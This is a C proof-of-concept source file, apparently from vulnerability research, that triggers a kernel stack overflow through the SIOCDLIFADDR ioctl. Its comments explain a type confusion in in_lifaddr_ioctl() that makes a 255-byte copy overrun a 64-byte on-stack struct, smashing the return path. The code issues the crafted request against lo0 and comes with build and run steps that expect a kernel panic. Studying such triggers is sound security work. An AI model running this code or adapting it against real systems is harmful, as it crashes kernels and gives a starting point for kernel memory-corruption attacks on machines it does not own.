DF-3319 / smash.c
/* * DF-3319 trigger (run as ROOT -- SIOCDLIFADDR requires * SYSCAP_RESTRICTEDROOT, sys/netinet/in.c:437-441). * * On a stock guest lo0 carries "inet6 ::1 prefixlen 128". The IPv4 * SIOCDLIFADDR handler in_lifaddr_ioctl() selects ifaddrs with * * if (ifa->ifa_addr->sa_family != AF_INET6) continue; (:911) * * (DF-0490: wrong family for the IPv4 handler), so this AF_INET request * type-confuses ::1's struct in6_ifaddr as a struct in_ifaddr and then * * bcopy(&ia->ia_sockmask, &ifra.ifra_dstaddr, * ia->ia_sockmask.sin_len); (:955-956) * * reads the copy LENGTH from in6_ifaddr offset 344 = ia_prefixmask + * sin6_addr byte 12, which is 0xff for ANY prefix >= /104 -- including * the stock /128 of ::1. 255 bytes are written into the 64-byte on-stack * struct in_aliasreq ifra at offset 32 -> 223 bytes past the object, * smashing the return path of in_lifaddr_ioctl(). * * No setup is required beyond lo0 having an IPv6 address (default). * * Build: cc -O -o smash smash.c * Run: ./smash (as root; expect a kernel panic) */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/sockio.h> #include <net/if.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> int main(int argc, char **argv) { struct if_laddrreq iflr; struct sockaddr_in *sin; const char *ifname = (argc > 1) ? argv[1] : "lo0"; int s; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); exit(1); } memset(&iflr, 0, sizeof(iflr)); strlcpy(iflr.iflr_name, ifname, sizeof(iflr.iflr_name)); /* * No IFLR_PREFIX: the walk does an exact /32 match. Because the * comparison reads the "address" from &ifa->ifa_addr -- the address * of the ifa_addr POINTER FIELD, not the sockaddr it points to * (another artifact of the confused handler) -- candidate.s_addr is * the HIGH 4 BYTES of the kernel pointer to the ifaddr's sockaddr. * On this guest every struct sockaddr * is 0xfffff800_xxxxxxxx * (little-endian bytes 4..7 = 00 f8 ff ff), so the query address * 0.248.255.255 matches the first AF_INET6 ifaddr (here: ::1 with * its stock /128 prefix mask -> confused ia_sockmask.sin_len = 0xff). */ sin = (struct sockaddr_in *)&iflr.addr; sin->sin_family = AF_INET; sin->sin_len = sizeof(*sin); sin->sin_addr.s_addr = inet_addr("0.248.255.255"); printf("issuing SIOCDLIFADDR(%s, 0.248.255.255) ...\n", ifname); fflush(stdout); if (ioctl(s, SIOCDLIFADDR, &iflr) < 0) { printf("SIOCDLIFADDR returned: %s\n", strerror(errno)); return (1); } printf("SIOCDLIFADDR returned success (no panic)\n"); return (0); } |